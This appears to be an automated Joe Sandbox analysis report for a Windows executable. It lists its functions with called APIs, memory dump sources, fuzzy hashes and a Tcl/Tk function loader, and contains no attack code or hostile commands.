Opcode ID: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
Instruction ID: 77335aec0e42fd1705b22e2900202b89684c68aab3852969dafa40764a352c3d
Opcode Fuzzy Hash: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
Instruction Fuzzy Hash: 0B919472F1865295FB519F699C40ABE2BB0AF44BE8F144239DE0ED7685DF38D4828701

Function 00007FF62CC85698 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC856C5
CreateFileW.KERNELBASE ref: 00007FF62CC85704
CloseHandle.KERNEL32 ref: 00007FF62CC85739

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
Instruction ID: 271a94c00b644a4ab053a53586846c446c36e41e32e8fdcb754450a43629838b
Opcode Fuzzy Hash: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
Instruction Fuzzy Hash: B941A222F2878283FB11CB64995077A6271FB957B4F109335EA5C83AD6DFBCA5E08701

Function 00007FF62CC7CCAC Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62CC7CE7C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF62CC7CE90

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF62CC7CCD0
__scrt_release_startup_lock.LIBCMT ref: 00007FF62CC7CD3E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF62CC7CD91

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction ID: 8b79717dbfe36037813a08f35e9a0aef6439a820653bdf8024acb8f381f60797
Opcode Fuzzy Hash: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction Fuzzy Hash: 95315920F08A5346FE24AB2CDD253B916B9EF517A4F444434E54ECF2D7DE2CA409E253

Function 00007FF62CC89AA0 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF62CC89A9C), ref: 00007FF62CC89AB1
TerminateProcess.KERNEL32(?,?,?,00007FF62CC89A9C), ref: 00007FF62CC89ABC
ExitProcess.KERNEL32 ref: 00007FF62CC89ACB

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 230ddfbeb2cfdc83e04e02b0fbb537ff9f96aef2fd2a5ab3fdce6eee95276a48
Instruction ID: 7c5e636b1f99b1f3289bb900d05f14083dc29493701ffd36ec12ef4c19b37575
Opcode Fuzzy Hash: 230ddfbeb2cfdc83e04e02b0fbb537ff9f96aef2fd2a5ab3fdce6eee95276a48
Instruction Fuzzy Hash: C9D09E20B0874652EF697B785CAD4F912716F48BA5F145578C80FC6393DD6CE4898302

Function 00007FF62CC801AC Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC801F0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC802E7

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction ID: bea6f2979c97292ab5e279b5dbc5d2ad7b6025bd81adf42ae9bfc8ac724a672c
Opcode Fuzzy Hash: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction Fuzzy Hash: 2B51B461B0964286FF6A9A6D9C00E7B62A1AF44BF4F148734DE6DC77C5CF3CE4018642

Function 00007FF62CC8C1A4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF62CC8C33D), ref: 00007FF62CC8C1F0
GetLastError.KERNEL32(?,?,?,?,?,00007FF62CC8C33D), ref: 00007FF62CC8C1FA

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction ID: 9ee7cf53e83f83ff636c49a0e447475e1a33ff4bcac3591da54af4149936f7ac
Opcode Fuzzy Hash: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction Fuzzy Hash: 0C119171718A8181DE618B29EC5416A6371BB85BF4F544331EE7D8B7E9CE7CD0518701

Function 00007FF62CC8A9B8 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF62CC92D92,?,?,?,00007FF62CC92DCF,?,?,00000000,00007FF62CC93295,?,?,?,00007FF62CC931C7), ref: 00007FF62CC8A9CE
GetLastError.KERNEL32(?,?,?,00007FF62CC92D92,?,?,?,00007FF62CC92DCF,?,?,00000000,00007FF62CC93295,?,?,?,00007FF62CC931C7), ref: 00007FF62CC8A9D8

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
Instruction ID: 88a097576592780916cce2bdbbfb4a633a96d504a379eecfbb912931ba418a9a
Opcode Fuzzy Hash: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
Instruction Fuzzy Hash: F8E0CD60F0C60392FF16DBFA9C6553A11706FD8BB0F044234C81DC22A2EE3C6895C312

Function 00007FF62CC8ABC8 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF62CC8AA45,?,?,00000000,00007FF62CC8AAFA), ref: 00007FF62CC8AC36
GetLastError.KERNEL32(?,?,?,00007FF62CC8AA45,?,?,00000000,00007FF62CC8AAFA), ref: 00007FF62CC8AC40

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction ID: 71713c5413e71548ff9e783cc55ef8f4c1438063c4e8d6133f2a6256f75af0f7
Opcode Fuzzy Hash: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction Fuzzy Hash: 8A219321F1C64242FEA657699C9067B12B29F84BF4F484339EA2EC77C5CE6CE4458302

Function 00007FF62CC8BF1C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC8BF44

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction ID: ef09d287a09e8cd73fc19644dbf20ae15d5b4352a4f4c756acca0183ea213856
Opcode Fuzzy Hash: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction Fuzzy Hash: 0541B132B0960187EE359A1DED50A7B73B4EB55BE4F105231DA8EC7691CF2DE402CB52

Function 00007FF62CC77F80 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF62CC7802A

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 8334f334696440ef64ed4453da584d980c1c0ded1461c6629ef7e16216bca0a0
Instruction ID: 0039720059a151118b1f507c689274f688197bc56855f4e79e3fe9b4d6c86197
Opcode Fuzzy Hash: 8334f334696440ef64ed4453da584d980c1c0ded1461c6629ef7e16216bca0a0
Instruction Fuzzy Hash: 6C21D321B0C65285FE119B2A6D087BA9665FF45BE8F8C4430EF0D9B786DE3DE046D702

Function 00007FF62CC8B9AC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC8BA32

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e965e93cbe1d72adb8351a0dc15ff4730447cd31f91a428760958f4d16ec249d
Instruction ID: 97f1d0c4fecc28903f4903597c344abfd029484504783e5bb07065959d23f5a6
Opcode Fuzzy Hash: e965e93cbe1d72adb8351a0dc15ff4730447cd31f91a428760958f4d16ec249d
Instruction Fuzzy Hash: 7F317E31B1864285EB539B598C61BBE2670AF40BF4F420339E96D933D2DF7CA4818722

Function 00007FF62CC899D1 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF62CC899FF

Part of subcall function 00007FF62CC89AF8: GetModuleHandleExW.KERNEL32 ref: 00007FF62CC89B1D
Part of subcall function 00007FF62CC89AF8: GetProcAddress.KERNEL32 ref: 00007FF62CC89B33
Part of subcall function 00007FF62CC89AF8: FreeLibrary.KERNEL32 ref: 00007FF62CC89B5A

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: c67799cafce48778543f3f8f4be5d8193b6380671b5390c3378b203fc6564281
Instruction ID: 397e3f1ae1e6ffb949a3a46553bfcaf4141d650b8b21ac4da724afef2049a6b1
Opcode Fuzzy Hash: c67799cafce48778543f3f8f4be5d8193b6380671b5390c3378b203fc6564281
Instruction Fuzzy Hash: 23217F32B057828EEF6A9F68C848AEE33B0EB44768F444635D62D86AD5DF3CD584C741

Function 00007FF62CC86004 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC85F69

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: 5288570d1ffbc8e2ef83e37d5cf275736ad5d9772271ffb1c41ff4d437e66771
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: 75119632B1C64181FE629F599C0197FA2B1AF45BE0F444231EB4CD7A96DFBDD4008702

Function 00007FF62CC963C4 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC963E7

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction ID: 546a1a177f04ca54416a5c650dd3ac28fe9a4316dc461935a5df6a72e6a73d96
Opcode Fuzzy Hash: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction Fuzzy Hash: EB215072718A8286DFA19F1CD85077A76B0FB84BA8F548234E69DC76D9DF3CD4008B01

Function 00007FF62CC8042C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62CC80480

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: b3f33d435726a7e6b37db82cf8507c0968e1e1daa5d36e65d9fb8158fd0a91c2
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: 6C018E22B4874141EE06DB5A9D0186AA6A1BF86FF0F488731EE5C97BD6CE3CE0018341

Function 00007FF62CC8D66C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF62CC80D00,?,?,?,00007FF62CC8236A,?,?,?,?,?,00007FF62CC83B59), ref: 00007FF62CC8D6AA

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction ID: b3bd5f2276f108c7148e443b174a34106403ac9e25767aa87aac732a18a42dfd
Opcode Fuzzy Hash: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction Fuzzy Hash: 42F0FE10F0934B95FE6667A95C51A7A12B06F547F0F094B30DD2EC53DADE2CF4808612

Non-executed Functions

Function 00007FF62CC776B0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF62CC776C7
GetLastError.KERNEL32 ref: 00007FF62CC776D9
GetProcAddress.KERNEL32 ref: 00007FF62CC77715
GetLastError.KERNEL32 ref: 00007FF62CC77727
GetProcAddress.KERNEL32 ref: 00007FF62CC77740
GetLastError.KERNEL32 ref: 00007FF62CC77752
GetProcAddress.KERNEL32 ref: 00007FF62CC7776B
GetLastError.KERNEL32 ref: 00007FF62CC7777D
GetProcAddress.KERNEL32 ref: 00007FF62CC77799
GetLastError.KERNEL32 ref: 00007FF62CC777AB
GetProcAddress.KERNEL32 ref: 00007FF62CC777C7
GetLastError.KERNEL32 ref: 00007FF62CC777D9
GetProcAddress.KERNEL32 ref: 00007FF62CC777F5
GetLastError.KERNEL32 ref: 00007FF62CC77807
GetProcAddress.KERNEL32 ref: 00007FF62CC77823
GetLastError.KERNEL32 ref: 00007FF62CC77835
GetProcAddress.KERNEL32 ref: 00007FF62CC77851
GetLastError.KERNEL32 ref: 00007FF62CC77863

Strings

Tcl_SetVar2, xrefs: 00007FF62CC77A41, 00007FF62CC77A63
Tcl_FinalizeThread, xrefs: 00007FF62CC777BD, 00007FF62CC777DF
GetProcAddress, xrefs: 00007FF62CC776EF
Tcl_DoOneEvent, xrefs: 00007FF62CC77761, 00007FF62CC77783
Tcl_DeleteInterp, xrefs: 00007FF62CC777EB, 00007FF62CC7780D
Tcl_CreateObjCommand, xrefs: 00007FF62CC77A6F, 00007FF62CC77A91
Tcl_Free, xrefs: 00007FF62CC77C3B, 00007FF62CC77C5D
Tcl_JoinThread, xrefs: 00007FF62CC77875, 00007FF62CC77897
Tcl_EvalFile, xrefs: 00007FF62CC77B83, 00007FF62CC77BA5
Tcl_CreateThread, xrefs: 00007FF62CC77819, 00007FF62CC7783B
Tcl_ThreadAlert, xrefs: 00007FF62CC779E5, 00007FF62CC77A07
Tcl_ConditionWait, xrefs: 00007FF62CC77989, 00007FF62CC779AB
Tcl_EvalObjv, xrefs: 00007FF62CC77BDF, 00007FF62CC77C01
Tcl_NewStringObj, xrefs: 00007FF62CC77ACB, 00007FF62CC77AED
Tcl_MutexLock, xrefs: 00007FF62CC778A3, 00007FF62CC778C5
Tcl_MutexUnlock, xrefs: 00007FF62CC778D1, 00007FF62CC778F3
Tk_GetNumMainWindows, xrefs: 00007FF62CC77C97, 00007FF62CC77CB9
Tcl_ConditionNotify, xrefs: 00007FF62CC7795B, 00007FF62CC7797D
Tcl_Finalize, xrefs: 00007FF62CC7778F, 00007FF62CC777B1
Tcl_NewByteArrayObj, xrefs: 00007FF62CC77AF9, 00007FF62CC77B1B
Tk_Init, xrefs: 00007FF62CC77C69, 00007FF62CC77C8B
Tcl_MutexFinalize, xrefs: 00007FF62CC778FF, 00007FF62CC77921
Tcl_Init, xrefs: 00007FF62CC776C0, 00007FF62CC776DF
Tcl_GetObjResult, xrefs: 00007FF62CC77B55, 00007FF62CC77B77
Tcl_EvalEx, xrefs: 00007FF62CC77BB1, 00007FF62CC77BD3
Tcl_ConditionFinalize, xrefs: 00007FF62CC7792D, 00007FF62CC7794F
Tcl_GetVar2, xrefs: 00007FF62CC77A13, 00007FF62CC77A35
Tcl_ThreadQueueEvent, xrefs: 00007FF62CC779B7, 00007FF62CC779D9
Tcl_CreateInterp, xrefs: 00007FF62CC7770B, 00007FF62CC7772D
Tcl_GetCurrentThread, xrefs: 00007FF62CC77847, 00007FF62CC77869
Tcl_Alloc, xrefs: 00007FF62CC77C0D, 00007FF62CC77C2F
Tcl_SetVar2Ex, xrefs: 00007FF62CC77B27, 00007FF62CC77B49
Failed to get address for %hs, xrefs: 00007FF62CC776E8
Tcl_FindExecutable, xrefs: 00007FF62CC77736, 00007FF62CC77758
Tcl_GetString, xrefs: 00007FF62CC77A9D, 00007FF62CC77ABF

Memory Dump Source

Source File: 00000000.00000002.2192722468.00007FF62CC71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62CC70000, based on PE: true

Associated: 00000000.00000002.2192646044.00007FF62CC70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192849143.00007FF62CC9B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCAE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2192949511.00007FF62CCB2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2193113716.00007FF62CCB4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62cc70000_phost.jbxd

Similarity

API ID: AddressErrorLastProc
